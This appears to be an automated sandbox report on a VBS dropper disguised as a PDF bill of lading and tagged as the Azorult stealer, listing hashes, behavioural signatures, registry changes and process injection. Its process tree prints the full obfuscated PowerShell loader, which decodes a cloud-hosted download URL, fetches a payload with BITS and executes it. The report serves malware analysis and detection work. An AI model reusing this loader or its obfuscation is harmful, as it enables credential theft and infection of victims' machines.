Analysis
-
max time kernel
149s -
max time network
142s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
12-03-2024 07:14
Static task
static1
Behavioral task
behavioral1
Sample
DRAFT BILL OF LADING.PDF.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
DRAFT BILL OF LADING.PDF.vbs
Resource
win10v2004-20240226-en
General
-
Target
DRAFT BILL OF LADING.PDF.vbs
-
Size
27KB
-
MD5
8ce482c332e9ec80d47c64edc65b6a70
-
SHA1
c4ceaf9bf0791068f650f28674f09ac345bdc3cd
-
SHA256
1562364a3048ef8e00720e3bc0c6588ed7a4d8f560c5bdafa5b19503e159a8a8
-
SHA512
3471397b056c668363b309fa26374a849e02b3a191a0f4a1ac33f723e8358fda9911faadd9927f65f424e974a3ab6f2c88406bb4880ce88155ab172465126886
-
SSDEEP
768:4OMHs3w3rf5xGsmKQblBW2MQK/fFXSiP10E:403w3rDTpQZjOSiPD
Malware Config
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Blocklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 8 3216 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1904519900-954640453-4250331663-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 4300 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 2624 powershell.exe 4300 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2624 set thread context of 4300 2624 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
WScript.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\07E032E020B72C3F192F0628A2593A19A70F069E WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\07E032E020B72C3F192F0628A2593A19A70F069E\Blob = 0f0000000100000014000000a8569ccd21ef9cc5737c7a12df608c2cbc545df153000000010000006500000030633021060b2a84680186f6770205010130123010060a2b0601040182373c0101030200c03021060b2a84680186f6770205010730123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b0000000100000034000000430065007200740075006d002000540072007500730074006500640020004e006500740077006f0072006b0020004300410000006200000001000000200000005c58468d55f58e497e743982d2b50010b6d165374acf83a7d4a32db768c4408e1400000001000000140000000876cdcb07ff24f6c5cdedbb90bce284374675f71d0000000100000010000000e3f9af952c6df2aaa41706a77a44c20303000000010000001400000007e032e020b72c3f192f0628a2593a19a70f069e2000000001000000bf030000308203bb308202a3a00302010202030444c0300d06092a864886f70d0101050500307e310b300906035504061302504c31223020060355040a1319556e697a65746f20546563686e6f6c6f6769657320532e412e31273025060355040b131e43657274756d2043657274696669636174696f6e20417574686f72697479312230200603550403131943657274756d2054727573746564204e6574776f726b204341301e170d3038313032323132303733375a170d3239313233313132303733375a307e310b300906035504061302504c31223020060355040a1319556e697a65746f20546563686e6f6c6f6769657320532e412e31273025060355040b131e43657274756d2043657274696669636174696f6e20417574686f72697479312230200603550403131943657274756d2054727573746564204e6574776f726b20434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e3fb7da372bac2f0c91487f56b014ee16e4007ba6d275d7ff75b2db35ac7515faba432a66187b66e0f86d2300297f8d76957a118395d6a6479c60159ac3c314a387cd204d24b28e8205f3b07a2cc4d73dbf3ae4fc756d55aa79689faf3ab68d423865927cf0927bcac6e72831c3072dfe0a2e9d2e1747519bd2a9e7b1554041bd74339ad5528c5e21abbf4c0e4ae384933cc76859f3945d2a49ef2128c51f87ce42d7ff5ac5feb169fb12dd1bacc9142774c25c990386fdbf0ccfb8e1e97593ed5604ee60528ed4979134bba48db2ff972d339cafe1fd83472f5b440cf3101c3ecde112d175d1fb850d15e19a769de073328ca5095f9a754cb54865045a9f9490203010001a3423040300f0603551d130101ff040530030101ff301d0603551d0e041604140876cdcb07ff24f6c5cdedbb90bce284374675f7300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100a6a8ad22ce013da6a3ff62d0489d8b5e72b07844e3dc1caf09fd2348fabd2ac4b95504b510a38d27de0b8263d0eede0c3779415b22b2b09a415ca670e0d4d077cb23d300e06c562fe1690d0dd9aabf218150d906a5a8ff9537d0aafee2b3f5992d45848ae54209d774022ff789d899e9bc27d4478dba0d461c77cf14a41cb9a431c49c28740334ff331926a5e90d74b73e97c676e82796a366dde1aef2415bca9856837370e4861ad23141ba2fbe2d135a766f4ee84e810e3f5b0322a012be6658114acb03c4b42a2a2d9617e03954bc48d376279d9a2d06a6c9ec39d2abdb9f9a0b27023529b14095e7f9e89c55881946d6b734f57ece399ad938f151f74f2c WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\07E032E020B72C3F192F0628A2593A19A70F069E\Blob = 040000000100000010000000d5e98140c51869fc462c8975620faa780f0000000100000014000000a8569ccd21ef9cc5737c7a12df608c2cbc545df153000000010000006500000030633021060b2a84680186f6770205010130123010060a2b0601040182373c0101030200c03021060b2a84680186f6770205010730123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b0000000100000034000000430065007200740075006d002000540072007500730074006500640020004e006500740077006f0072006b0020004300410000006200000001000000200000005c58468d55f58e497e743982d2b50010b6d165374acf83a7d4a32db768c4408e1400000001000000140000000876cdcb07ff24f6c5cdedbb90bce284374675f71d0000000100000010000000e3f9af952c6df2aaa41706a77a44c20303000000010000001400000007e032e020b72c3f192f0628a2593a19a70f069e1900000001000000100000001f7e750b566b128ac0b8d6576d2a70a52000000001000000bf030000308203bb308202a3a00302010202030444c0300d06092a864886f70d0101050500307e310b300906035504061302504c31223020060355040a1319556e697a65746f20546563686e6f6c6f6769657320532e412e31273025060355040b131e43657274756d2043657274696669636174696f6e20417574686f72697479312230200603550403131943657274756d2054727573746564204e6574776f726b204341301e170d3038313032323132303733375a170d3239313233313132303733375a307e310b300906035504061302504c31223020060355040a1319556e697a65746f20546563686e6f6c6f6769657320532e412e31273025060355040b131e43657274756d2043657274696669636174696f6e20417574686f72697479312230200603550403131943657274756d2054727573746564204e6574776f726b20434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e3fb7da372bac2f0c91487f56b014ee16e4007ba6d275d7ff75b2db35ac7515faba432a66187b66e0f86d2300297f8d76957a118395d6a6479c60159ac3c314a387cd204d24b28e8205f3b07a2cc4d73dbf3ae4fc756d55aa79689faf3ab68d423865927cf0927bcac6e72831c3072dfe0a2e9d2e1747519bd2a9e7b1554041bd74339ad5528c5e21abbf4c0e4ae384933cc76859f3945d2a49ef2128c51f87ce42d7ff5ac5feb169fb12dd1bacc9142774c25c990386fdbf0ccfb8e1e97593ed5604ee60528ed4979134bba48db2ff972d339cafe1fd83472f5b440cf3101c3ecde112d175d1fb850d15e19a769de073328ca5095f9a754cb54865045a9f9490203010001a3423040300f0603551d130101ff040530030101ff301d0603551d0e041604140876cdcb07ff24f6c5cdedbb90bce284374675f7300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100a6a8ad22ce013da6a3ff62d0489d8b5e72b07844e3dc1caf09fd2348fabd2ac4b95504b510a38d27de0b8263d0eede0c3779415b22b2b09a415ca670e0d4d077cb23d300e06c562fe1690d0dd9aabf218150d906a5a8ff9537d0aafee2b3f5992d45848ae54209d774022ff789d899e9bc27d4478dba0d461c77cf14a41cb9a431c49c28740334ff331926a5e90d74b73e97c676e82796a366dde1aef2415bca9856837370e4861ad23141ba2fbe2d135a766f4ee84e810e3f5b0322a012be6658114acb03c4b42a2a2d9617e03954bc48d376279d9a2d06a6c9ec39d2abdb9f9a0b27023529b14095e7f9e89c55881946d6b734f57ece399ad938f151f74f2c WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\07E032E020B72C3F192F0628A2593A19A70F069E\Blob = 5c0000000100000004000000000800001900000001000000100000001f7e750b566b128ac0b8d6576d2a70a503000000010000001400000007e032e020b72c3f192f0628a2593a19a70f069e1d0000000100000010000000e3f9af952c6df2aaa41706a77a44c2031400000001000000140000000876cdcb07ff24f6c5cdedbb90bce284374675f76200000001000000200000005c58468d55f58e497e743982d2b50010b6d165374acf83a7d4a32db768c4408e0b0000000100000034000000430065007200740075006d002000540072007500730074006500640020004e006500740077006f0072006b002000430041000000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000006500000030633021060b2a84680186f6770205010130123010060a2b0601040182373c0101030200c03021060b2a84680186f6770205010730123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000a8569ccd21ef9cc5737c7a12df608c2cbc545df1040000000100000010000000d5e98140c51869fc462c8975620faa782000000001000000bf030000308203bb308202a3a00302010202030444c0300d06092a864886f70d0101050500307e310b300906035504061302504c31223020060355040a1319556e697a65746f20546563686e6f6c6f6769657320532e412e31273025060355040b131e43657274756d2043657274696669636174696f6e20417574686f72697479312230200603550403131943657274756d2054727573746564204e6574776f726b204341301e170d3038313032323132303733375a170d3239313233313132303733375a307e310b300906035504061302504c31223020060355040a1319556e697a65746f20546563686e6f6c6f6769657320532e412e31273025060355040b131e43657274756d2043657274696669636174696f6e20417574686f72697479312230200603550403131943657274756d2054727573746564204e6574776f726b20434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e3fb7da372bac2f0c91487f56b014ee16e4007ba6d275d7ff75b2db35ac7515faba432a66187b66e0f86d2300297f8d76957a118395d6a6479c60159ac3c314a387cd204d24b28e8205f3b07a2cc4d73dbf3ae4fc756d55aa79689faf3ab68d423865927cf0927bcac6e72831c3072dfe0a2e9d2e1747519bd2a9e7b1554041bd74339ad5528c5e21abbf4c0e4ae384933cc76859f3945d2a49ef2128c51f87ce42d7ff5ac5feb169fb12dd1bacc9142774c25c990386fdbf0ccfb8e1e97593ed5604ee60528ed4979134bba48db2ff972d339cafe1fd83472f5b440cf3101c3ecde112d175d1fb850d15e19a769de073328ca5095f9a754cb54865045a9f9490203010001a3423040300f0603551d130101ff040530030101ff301d0603551d0e041604140876cdcb07ff24f6c5cdedbb90bce284374675f7300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100a6a8ad22ce013da6a3ff62d0489d8b5e72b07844e3dc1caf09fd2348fabd2ac4b95504b510a38d27de0b8263d0eede0c3779415b22b2b09a415ca670e0d4d077cb23d300e06c562fe1690d0dd9aabf218150d906a5a8ff9537d0aafee2b3f5992d45848ae54209d774022ff789d899e9bc27d4478dba0d461c77cf14a41cb9a431c49c28740334ff331926a5e90d74b73e97c676e82796a366dde1aef2415bca9856837370e4861ad23141ba2fbe2d135a766f4ee84e810e3f5b0322a012be6658114acb03c4b42a2a2d9617e03954bc48d376279d9a2d06a6c9ec39d2abdb9f9a0b27023529b14095e7f9e89c55881946d6b734f57ece399ad938f151f74f2c WScript.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 1132 powershell.exe 1132 powershell.exe 1132 powershell.exe 2624 powershell.exe 2624 powershell.exe 2624 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2624 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1132 powershell.exe Token: SeDebugPrivilege 2624 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 3216 wrote to memory of 1132 3216 WScript.exe powershell.exe PID 3216 wrote to memory of 1132 3216 WScript.exe powershell.exe PID 1132 wrote to memory of 2624 1132 powershell.exe powershell.exe PID 1132 wrote to memory of 2624 1132 powershell.exe powershell.exe PID 1132 wrote to memory of 2624 1132 powershell.exe powershell.exe PID 2624 wrote to memory of 4300 2624 powershell.exe wab.exe PID 2624 wrote to memory of 4300 2624 powershell.exe wab.exe PID 2624 wrote to memory of 4300 2624 powershell.exe wab.exe PID 2624 wrote to memory of 4300 2624 powershell.exe wab.exe PID 2624 wrote to memory of 4300 2624 powershell.exe wab.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DRAFT BILL OF LADING.PDF.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Opposability='Reappreciation:\Hovedjgernes';Set-Content $Opposability 'Lrerkollegier';$Capistrate81=Test-Path $Opposability;if($Capistrate81){exit};function cangler ($Tankest){For($Vgtafgiften=4; $Vgtafgiften -lt $Tankest.Length-1; $Vgtafgiften+=5){$besudles=$besudles+$Tankest.'Substring'($Vgtafgiften, 1)};$besudles;}$Danbo=cangler ' venh Sdmt U.tt BurpCorasVene:Plan/ an/ Keid P.lr.igliPar.vIdeaeNica. .rug UntoEnfoo DetgGn,tlSuq eEpig.,legc DifoSkakm bse/NonsuForncAar,?Del,e,itcx VinpHvalo enr VittShea=Kol.dBlinoS,pewMultnKlasl SoioWisda credTop.&.elsi ProdB,se=tyg.1geocKstudVsunlSArthE VisKStikQStedOKejs0 Nato IncwCamagBekrG non0MoskzCompQ TroBTran7L.ekPHi,tqParajHe.rPtrkubChasAUnderUnfuN DowACharcLbes0 UncckultZProdUFlyvclnre ';$Fastlaast=cangler 'Pat,iJuleeR,ffxGa.g ';$Arbejdsrutinen = cangler ' Ans\ strs Bray,orrsBihew Ocho kytwSrbo6Stan4Clea\ T,rWStreiChoknSni,d acaoRadiwQat,sDi.oPKaleoHjerwEnnee aitrM niSIndbhBegye stolEftelP,pi\ ArsvOp,i1.kra. Ask0Fimr\Syrap en oM,liwAfgaeSt drRetssfolkh MoueBagglMe.il,ans.LdgaeUdspx No.eE.tr ';&($Fastlaast) (cangler 'Unim$ TypGBl kbPt raskrmkNonrkskrae ibonChri=Trop$ Sowe Infn.annv por:hallw CroiRen.nEma,dCrowiEncarha.n ') ;&($Fastlaast) (cangler ' Rid$ .ecASprir iltbC.nteSkn,jEk adGon sTradrFyldu ThatZiggi D,un S ieIntenSom.= esp$Ar.lG E.mbC,ataRa.ckEftekUsneeSonnnEnga+Chry$ S fAun,ermestb.elfeFootj MotdEbensC,lorSakru,jertk ali ,sknF,dneG ngn agn ') ;&($Fastlaast) (cangler 'Phot$ DisUIn knEksprMoiduA anpInsht R,duAnser Hjse J.edRo,i Geo =Stor R.di( Upp(Syfig TegwEthymRepoi.rif EufowConvi Udtn Zin3S.bm2afla_Fo.sp lar NyeoGeofcDilee L.ssTitasDip Indb-oberFFnom nreP K.nrC,nto Fdsc S.ieAlabsOpdasArmmI De,dBl,w=Vest$Stan{StadP ,leIKontDTakt} Del)Budd. rfsCNucao AudmFortmWkpraStern Sled B bL EvoiDrmmnSbehe Est)Skru S.il- FussTurbp KallOrkeiOrakt Sin Ef,[IcelcOmgah Dr aBifurApos]Blgc3 ost4Preb ');&($Fastlaast) (cangler 'Bi,l$B,ngAVower ModrUblooSs eg KalaDokutF leeQuar Spal=Ytta Pala$ DauU.egnnNatirBeneuSuccpUvirtD duu C.mrAarveFokud Psy[Brdr$ WalUunconTheorEr nuPt.rpTauttMoniuMindrObl.eNat dKvar. S ocUregoPreluAlpen Op tPe.i-Beko2Ov.r]Ches ');&($Fastlaast) (cangler 'Li h$Av,uLTe ma PhagBegreBiodrR.fifPneuoCr wrKvr,vLdgaa G nlFrugt Ovee UnirSkornSe aeVver=P ec(UndeTArs.e,horsskritSkem-RevaPLo iarevatXa thSynt Dist$RetaAProlrUdkmb Afve BanjAgardD.mbsHygrrE.ekuIndutJ.uriTrannVolteChonnSols)Ac,d Cho.-ProfA BrunFeltdChlo Rek(Bil,[.irmI.ungnStatt UfePAnaltManirAllo]Ch o:u.li:Grots L.eipartzProue Op. Inco-H,geeAn.oqPasc ,tri8Spl ) Spa ') ;if ($Lagerforvalterne) {&$Arbejdsrutinen $Arrogate;} else {;$Seawalls=cangler 'S,ndSH.motFortaQuadr UnctFler- T.mBKiteiLbskt usys.ektT UnarOscua,phinBukksCharf.nexeSkycrPals Lig -Ca,iSAdv,oTe,euOptirre,acFoure Pat Re,r$ecthDShugaHighnAmarbStagoH.ra T.mm- ActD ,ereSubss,ackt Sthikunon oniaF sktSo,diAnneogoodnEadi tilo$Al fG OvebImdeaSubskPrurkStereP ysn Dia ';&($Fastlaast) (cangler 'Daug$y.chGProtb ResaEn,okAntik ordeYog.nCh r=Aggl$,ypeeS.ednPri,vUnde:SociaConcpni spO sidSod,a tilt Upca Mus ') ;&($Fastlaast) (cangler 'AdviIIldlmUndep .utoB sgrO.lot The-MestMspi,oExotdSitauCarbl UnpeLath Co eB IndiAvi,tReprs Le,T .urr ubaDilenNeursSun,fAlaneB.lyrProt ') ;$Gbakken=$Gbakken+'\Arboureous.Whi';while (-not $Konversatietonsleksika) {&($Fastlaast) (cangler 'Stje$RejsKOscuoUnnenpolyvPat,eAtomrSabesJudia RehtHos iGineeappltForboIchtnPeris PerlBalle KrikLimos.adeiCordkSpilaGang=Do,s(UnsyTBoateScr sStortStou-,uggP FllaUbentKivehDomi B,o$SkabGKranb,aska ,rakHetekUs.seCentnCinc)Non, ') ;&($Fastlaast) $Seawalls;&($Fastlaast) (cangler 'TeleS evitRec,aHoerrAd itProc-ArguSBe,rlToveeF,gteFin.pAstr Excu5Hjti ');}&($Fastlaast) (cangler 'Squi$solbU FlanImbee arjxphartCr crM,shaCeravTiltaMyofgchona Tranvejrt evnlt,icy Wit P ov=Alau IlanGMarkeUntrtK,mm-NonzCEmuloBaadnUnsetL.pieTwisnNarrtRyde Fri,$An.lGdashbTu.taawe,k Glok peke trin Par ');&($Fastlaast) (cangler 'B.gg$TovfGS.ksa,ibifstalfSecrk Kony SataAsp.8H st4Sote euk=Fuld Har[Hi.pSArr,yTortsSn gtAfspeIr.emSbeu. Sj,C.lidoKohon Arav KipeB.ndr D ctUfor]Skaa:Knud: CypF EtyrUvurooverm upeB oua SttsIndveEnvi6 ili4RestSBrustUnprrBenhi Nonn.itog ,ke(Ane.$NocuUSolinsw,eeFriaxTetrtNoner.rosaB.pyvThe,a icgFo,oaColln G,ntArm.lPauly iss)Nokt ');&($Fastlaast) (cangler 'Scr,$R,teMPoseu kali ersr ArcbBroauEnvir.endnT an Resu= ato Col,[PrivSA.asyFalls SvmtTrameBailmF ag.Dr.gTTer.e TroxElastbleg. UryEPr enM,crc su,oPropdFngsiCompnIsotghumi] .in:Hugg:TripAvandSRombC,xymISascIHind.OptaGWeskeTitetTeknS.ejrtUnblrDiagiP ysnSadegAlmu(Citr$ InaG LapaForkfKrsef Chik estyFrogaFrik8Rows4 ,ab)Podd ');&($Fastlaast) (cangler ' Fl,$circSMilikReklnFlawhlatte DisdCheksPantpFreml BygeCountmisatDe,re Ldin imb=Fors$MythM ,ypuEctoim.dsrernabAstruToplrSvinnKonk.ReplsJagluWas.bUdt s A.ptFascr Prgi .atnCr.pgMyog(No.k3Atte2 Tit0 Uns7Diss0Burt9Asci, Ove3 Afl9Komm3Impe2Re,i3De,e) Enf ');&($Fastlaast) $Sknhedspletten;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Opposability='Reappreciation:\Hovedjgernes';Set-Content $Opposability 'Lrerkollegier';$Capistrate81=Test-Path $Opposability;if($Capistrate81){exit};function cangler ($Tankest){For($Vgtafgiften=4; $Vgtafgiften -lt $Tankest.Length-1; $Vgtafgiften+=5){$besudles=$besudles+$Tankest.'Substring'($Vgtafgiften, 1)};$besudles;}$Danbo=cangler ' venh Sdmt U.tt BurpCorasVene:Plan/ an/ Keid P.lr.igliPar.vIdeaeNica. .rug UntoEnfoo DetgGn,tlSuq eEpig.,legc DifoSkakm bse/NonsuForncAar,?Del,e,itcx VinpHvalo enr VittShea=Kol.dBlinoS,pewMultnKlasl SoioWisda credTop.&.elsi ProdB,se=tyg.1geocKstudVsunlSArthE VisKStikQStedOKejs0 Nato IncwCamagBekrG non0MoskzCompQ TroBTran7L.ekPHi,tqParajHe.rPtrkubChasAUnderUnfuN DowACharcLbes0 UncckultZProdUFlyvclnre ';$Fastlaast=cangler 'Pat,iJuleeR,ffxGa.g ';$Arbejdsrutinen = cangler ' Ans\ strs Bray,orrsBihew Ocho kytwSrbo6Stan4Clea\ T,rWStreiChoknSni,d acaoRadiwQat,sDi.oPKaleoHjerwEnnee aitrM niSIndbhBegye stolEftelP,pi\ ArsvOp,i1.kra. Ask0Fimr\Syrap en oM,liwAfgaeSt drRetssfolkh MoueBagglMe.il,ans.LdgaeUdspx No.eE.tr ';&($Fastlaast) (cangler 'Unim$ TypGBl kbPt raskrmkNonrkskrae ibonChri=Trop$ Sowe Infn.annv por:hallw CroiRen.nEma,dCrowiEncarha.n ') ;&($Fastlaast) (cangler ' Rid$ .ecASprir iltbC.nteSkn,jEk adGon sTradrFyldu ThatZiggi D,un S ieIntenSom.= esp$Ar.lG E.mbC,ataRa.ckEftekUsneeSonnnEnga+Chry$ S fAun,ermestb.elfeFootj MotdEbensC,lorSakru,jertk ali ,sknF,dneG ngn agn ') ;&($Fastlaast) (cangler 'Phot$ DisUIn knEksprMoiduA anpInsht R,duAnser Hjse J.edRo,i Geo =Stor R.di( Upp(Syfig TegwEthymRepoi.rif EufowConvi Udtn Zin3S.bm2afla_Fo.sp lar NyeoGeofcDilee L.ssTitasDip Indb-oberFFnom nreP K.nrC,nto Fdsc S.ieAlabsOpdasArmmI De,dBl,w=Vest$Stan{StadP ,leIKontDTakt} Del)Budd. rfsCNucao AudmFortmWkpraStern Sled B bL EvoiDrmmnSbehe Est)Skru S.il- FussTurbp KallOrkeiOrakt Sin Ef,[IcelcOmgah Dr aBifurApos]Blgc3 ost4Preb ');&($Fastlaast) (cangler 'Bi,l$B,ngAVower ModrUblooSs eg KalaDokutF leeQuar Spal=Ytta Pala$ DauU.egnnNatirBeneuSuccpUvirtD duu C.mrAarveFokud Psy[Brdr$ WalUunconTheorEr nuPt.rpTauttMoniuMindrObl.eNat dKvar. S ocUregoPreluAlpen Op tPe.i-Beko2Ov.r]Ches ');&($Fastlaast) (cangler 'Li h$Av,uLTe ma PhagBegreBiodrR.fifPneuoCr wrKvr,vLdgaa G nlFrugt Ovee UnirSkornSe aeVver=P ec(UndeTArs.e,horsskritSkem-RevaPLo iarevatXa thSynt Dist$RetaAProlrUdkmb Afve BanjAgardD.mbsHygrrE.ekuIndutJ.uriTrannVolteChonnSols)Ac,d Cho.-ProfA BrunFeltdChlo Rek(Bil,[.irmI.ungnStatt UfePAnaltManirAllo]Ch o:u.li:Grots L.eipartzProue Op. Inco-H,geeAn.oqPasc ,tri8Spl ) Spa ') ;if ($Lagerforvalterne) {&$Arbejdsrutinen $Arrogate;} else {;$Seawalls=cangler 'S,ndSH.motFortaQuadr UnctFler- T.mBKiteiLbskt usys.ektT UnarOscua,phinBukksCharf.nexeSkycrPals Lig -Ca,iSAdv,oTe,euOptirre,acFoure Pat Re,r$ecthDShugaHighnAmarbStagoH.ra T.mm- ActD ,ereSubss,ackt Sthikunon oniaF sktSo,diAnneogoodnEadi tilo$Al fG OvebImdeaSubskPrurkStereP ysn Dia ';&($Fastlaast) (cangler 'Daug$y.chGProtb ResaEn,okAntik ordeYog.nCh r=Aggl$,ypeeS.ednPri,vUnde:SociaConcpni spO sidSod,a tilt Upca Mus ') ;&($Fastlaast) (cangler 'AdviIIldlmUndep .utoB sgrO.lot The-MestMspi,oExotdSitauCarbl UnpeLath Co eB IndiAvi,tReprs Le,T .urr ubaDilenNeursSun,fAlaneB.lyrProt ') ;$Gbakken=$Gbakken+'\Arboureous.Whi';while (-not $Konversatietonsleksika) {&($Fastlaast) (cangler 'Stje$RejsKOscuoUnnenpolyvPat,eAtomrSabesJudia RehtHos iGineeappltForboIchtnPeris PerlBalle KrikLimos.adeiCordkSpilaGang=Do,s(UnsyTBoateScr sStortStou-,uggP FllaUbentKivehDomi B,o$SkabGKranb,aska ,rakHetekUs.seCentnCinc)Non, ') ;&($Fastlaast) $Seawalls;&($Fastlaast) (cangler 'TeleS evitRec,aHoerrAd itProc-ArguSBe,rlToveeF,gteFin.pAstr Excu5Hjti ');}&($Fastlaast) (cangler 'Squi$solbU FlanImbee arjxphartCr crM,shaCeravTiltaMyofgchona Tranvejrt evnlt,icy Wit P ov=Alau IlanGMarkeUntrtK,mm-NonzCEmuloBaadnUnsetL.pieTwisnNarrtRyde Fri,$An.lGdashbTu.taawe,k Glok peke trin Par ');&($Fastlaast) (cangler 'B.gg$TovfGS.ksa,ibifstalfSecrk Kony SataAsp.8H st4Sote euk=Fuld Har[Hi.pSArr,yTortsSn gtAfspeIr.emSbeu. Sj,C.lidoKohon Arav KipeB.ndr D ctUfor]Skaa:Knud: CypF EtyrUvurooverm upeB oua SttsIndveEnvi6 ili4RestSBrustUnprrBenhi Nonn.itog ,ke(Ane.$NocuUSolinsw,eeFriaxTetrtNoner.rosaB.pyvThe,a icgFo,oaColln G,ntArm.lPauly iss)Nokt ');&($Fastlaast) (cangler 'Scr,$R,teMPoseu kali ersr ArcbBroauEnvir.endnT an Resu= ato Col,[PrivSA.asyFalls SvmtTrameBailmF ag.Dr.gTTer.e TroxElastbleg. UryEPr enM,crc su,oPropdFngsiCompnIsotghumi] .in:Hugg:TripAvandSRombC,xymISascIHind.OptaGWeskeTitetTeknS.ejrtUnblrDiagiP ysnSadegAlmu(Citr$ InaG LapaForkfKrsef Chik estyFrogaFrik8Rows4 ,ab)Podd ');&($Fastlaast) (cangler ' Fl,$circSMilikReklnFlawhlatte DisdCheksPantpFreml BygeCountmisatDe,re Ldin imb=Fors$MythM ,ypuEctoim.dsrernabAstruToplrSvinnKonk.ReplsJagluWas.bUdt s A.ptFascr Prgi .atnCr.pgMyog(No.k3Atte2 Tit0 Uns7Diss0Burt9Asci, Ove3 Afl9Komm3Impe2Re,i3De,e) Enf ');&($Fastlaast) $Sknhedspletten;}"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3472 --field-trial-handle=2260,i,3303482231723870786,2954015409682154873,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fu5ynqbe.pjh.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1132-13-0x0000025A68DB0000-0x0000025A68DD2000-memory.dmpFilesize
136KB
-
memory/1132-14-0x00007FFED26A0000-0x00007FFED3161000-memory.dmpFilesize
10.8MB
-
memory/1132-15-0x0000025A68E50000-0x0000025A68E60000-memory.dmpFilesize
64KB
-
memory/1132-16-0x0000025A68E50000-0x0000025A68E60000-memory.dmpFilesize
64KB
-
memory/1132-17-0x0000025A68E50000-0x0000025A68E60000-memory.dmpFilesize
64KB
-
memory/1132-76-0x00007FFED26A0000-0x00007FFED3161000-memory.dmpFilesize
10.8MB
-
memory/1132-48-0x0000025A68E50000-0x0000025A68E60000-memory.dmpFilesize
64KB
-
memory/1132-47-0x0000025A68E50000-0x0000025A68E60000-memory.dmpFilesize
64KB
-
memory/1132-46-0x0000025A68E50000-0x0000025A68E60000-memory.dmpFilesize
64KB
-
memory/1132-45-0x00007FFED26A0000-0x00007FFED3161000-memory.dmpFilesize
10.8MB
-
memory/2624-41-0x0000000007A30000-0x0000000007FD4000-memory.dmpFilesize
5.6MB
-
